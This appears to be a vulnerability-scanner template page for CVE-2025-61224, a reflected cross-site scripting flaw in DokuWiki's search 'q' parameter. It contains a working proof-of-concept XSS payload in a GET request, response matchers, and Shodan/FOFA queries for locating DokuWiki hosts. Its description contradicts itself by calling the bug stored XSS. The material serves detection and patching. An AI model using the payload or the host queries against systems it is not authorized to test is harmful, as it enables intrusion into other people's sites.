DokuWiki <= 2025-05-14a Librarian - Reflected Cross-Site Scripting
CVE-2025-61224
Verified
Description
DokuWiki 2025-05-14a 'Librarian' contains a stored XSS caused by improper sanitization of the 'q' parameter, letting remote attackers execute arbitrary scripts, exploit requires no special privileges.
Severity
Medium
CVSS Score
6.1
Exploit Probability
1%
Affected Product
dokuwiki
Published Date
June 16, 2026
Template Author
lolkatz, 0x_akoko
CVE-2025-61224.yaml
id: CVE-2025-61224
info:
name: DokuWiki <= 2025-05-14a Librarian - Reflected Cross-Site Scripting
author: lolkatz,0x_Akoko
severity: medium
description: |
DokuWiki 2025-05-14a 'Librarian' contains a stored XSS caused by improper sanitization of the 'q' parameter, letting remote attackers execute arbitrary scripts, exploit requires no special privileges.
impact: |
Remote attackers can execute arbitrary scripts in users' browsers, potentially stealing cookies or performing actions on behalf of users.
remediation: |
Update to the latest version of DokuWiki.
reference:
- https://github.com/dokuwiki/dokuwiki/issues/4512
- https://github.com/MarioTesoro/vulnerability-research/tree/main/CVE-2025-61224
- https://nvd.nist.gov/vuln/detail/CVE-2025-61224
classification:
cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
cvss-score: 6.1
cve-id: CVE-2025-61224
epss-score: 0.01345
epss-percentile: 0.68631
cwe-id: CWE-79
metadata:
verified: true
max-request: 1
vendor: dokuwiki
product: dokuwiki
shodan-query: http.html:"content=\"DokuWiki"
fofa-query: body="content=\"DokuWiki"
tags: cve,cve2025,dokuwiki,xss,reflected
http:
- method: GET
path:
- '{{BaseURL}}/doku.php?id=start&do=search&q=the%20%40%3Csvg%2Fonload%3Dalert%60document.domain%60%3E'
matchers-condition: and
matchers:
- type: word
part: body
words:
- 'current changed">@<svg/onload=alert'
- 'content="DokuWiki'
condition: and
- type: word
part: header
words:
- "text/html"
- type: status
status:
- 200
# digest: 4a0a00473045022045b61a68d284697b2ed5b9a91c7089e953c029ad0f660317ca367d4c13c5ac620221008d09b5ae30f779c7d3b832ff4b720ace67aa3be03f7f70d2eb23a0ae751cb5b5:922c64590222798bb761d5b6d8e729506.1Score
CVSS Metrics
CVSS Vector:
CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
CVE ID:
cve-2025-61224
CWE ID:
cwe-79
Remediation Steps
Update to the latest version of DokuWiki.